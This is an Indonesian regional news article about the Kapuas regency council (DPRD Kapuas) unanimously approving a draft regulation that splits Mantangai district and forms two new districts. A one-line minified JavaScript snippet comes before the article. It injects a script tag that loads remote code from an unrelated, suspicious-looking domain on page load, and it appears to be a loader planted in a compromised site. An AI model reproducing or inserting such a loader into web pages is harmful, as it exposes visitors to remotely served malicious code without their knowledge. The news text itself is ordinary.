(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas. menunjukkan kekompakan dalam rapat paripurna, Selasa (1/7/2025) siang.
Semua fraksi secara bulat menyatakan persetujuan terhadap Rancangan Peraturan Daerah (Raperda) tentang pemekaran Kecamatan Mantangai serta pembentukan dua kecamatan baru yakni Kecamatan Muroi Mangkutup Jaya dan Kecamatan Lamunti Raya.
Pernyataan dukungan ini disampaikan dalam rapat paripurna agenda kedua yaitu penyampaian pendapat akhir fraksi-fraksi. Para juru bicara dari tujuh fraksi secara tegas menyetujui Raperda pemekaran Kecamatan Mantangai untuk segera disahkan menjadi produk hukum Peraturan Daerah (Perda).
Baca juga: Hadiri Rapat Paripurna Penyampaian Raperda Pemekaran Kecamatan Mantangai, Ini Kata Bupati Wiyatno
Tujuh fraksi yang menyampaikan pendapat akhir adalah Fraksi Golkar diwakili Rahmat Jainudin, Fraksi PDIP oleh Franco B Dehen, Fraksi NasDem oleh Eli Setiadi, Fraksi Gerindra oleh Kusmanto, Fraksi Partai Amanat Nasional oleh Indah Ayu Lestari, Fraksi PKB oleh Suprianto, dan Fraksi Nurani Bintang Demokrat Pembangunan Sejahtera diwakili Peniana.
“Kita telah mendengarkan pendapat akhir fraksi-fraksi DPRD terhadap Raperda pemekaran Kecamatan Mantangai dan pembentukan Kecamatan Muroi Mangkutup Jaya dan Kecamatan Lamunti Raya,” ujar Ketua DPRD, Ardiansah, setelah mendengarkan seluruh pandangan akhir dari tujuh fraksi.
Ketua DPRD Kapuas Ardiansah kembali menanyakan persetujuan kepada forum rapat paripurna, yang dengan serentak dijawab “setuju” oleh seluruh anggota dewan yang hadir.
Baca juga: Wali Kota Lisa Halaby Pimpin Rapat Koordinasi, Samakan Visi Misi Banjarbaru EMAS
Dengan persetujuan dari fraksi-fraksi ini, proses pembentukan Perda akan berlanjut ke tahapan berikutnya, yaitu Persetujuan Bersama antara DPRD dan Pemerintah Kabupaten Kapuas. Setelah itu, Raperda akan melalui evaluasi oleh Pemerintah Provinsi Kalimantan Tengah sebelum akhirnya dapat ditetapkan secara resmi menjadi Perda yang berlaku. (Kanalkalimantan.com/ags)
Reporter: ags
Editor: kk
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
This website uses cookies.